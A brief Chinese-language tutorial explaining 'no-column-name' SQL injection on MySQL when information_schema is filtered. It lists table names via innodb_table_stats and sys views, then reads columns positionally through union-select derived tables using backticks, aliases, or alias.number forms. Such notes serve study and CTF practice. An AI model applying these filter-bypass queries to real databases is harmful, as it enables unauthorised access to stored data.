无列名注入总结

前言

在information_schema被过滤时,无法获取到表名和列名,这时候就需要通过无列名注入来获取信息。

获取表名

无列名注入也是需要表名的,可以先通过InnoDb和sys来获取表名

InnoDb

要求:Mysql版本>5.6

inndb中有innodb_index_stats和innodb_table_stats两张表,这两张表中存储了数据库和其中的数据表的信息,但是没有存储列名。

查询表名

1
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();

sys

要求:Mysql版本>5.7

通过查询sys.schema_table_statistics_with_buffer和sys.schema_auto_increment_columns获得表名

sys.schema_auto_increment_columns

1
select group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database();

image-20210405132743251.png

sys.schema_table_statistics_with_buffer

1
select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();

image-20210405132837988.png

无列名注入

无列名注入的原理是依靠union select时产生的虚拟表来查询数据。

正常的表

image-20210405131730910.png

union select产生的虚拟表,必须保证查询列数是准确的

image-20210405131751893.png

只要给虚拟表取一个别名,即可查询其中的数据,下面查询了第二列的数据

1
select `2` from (select 1,2,3 union select * from users)n;

image-20210405131922758.png

在反引号被过滤时还可以使用给列起别名的方式查询

1
select b from (select 1,2 as b,3 union select * from users)n;

image-20210405132241116.png

还可以使用表名.列名这种形式,n是我们给虚拟表起的别名

1
select n.2 from (select 1,2,3 union select * from users)n;

image-20210405132353492.png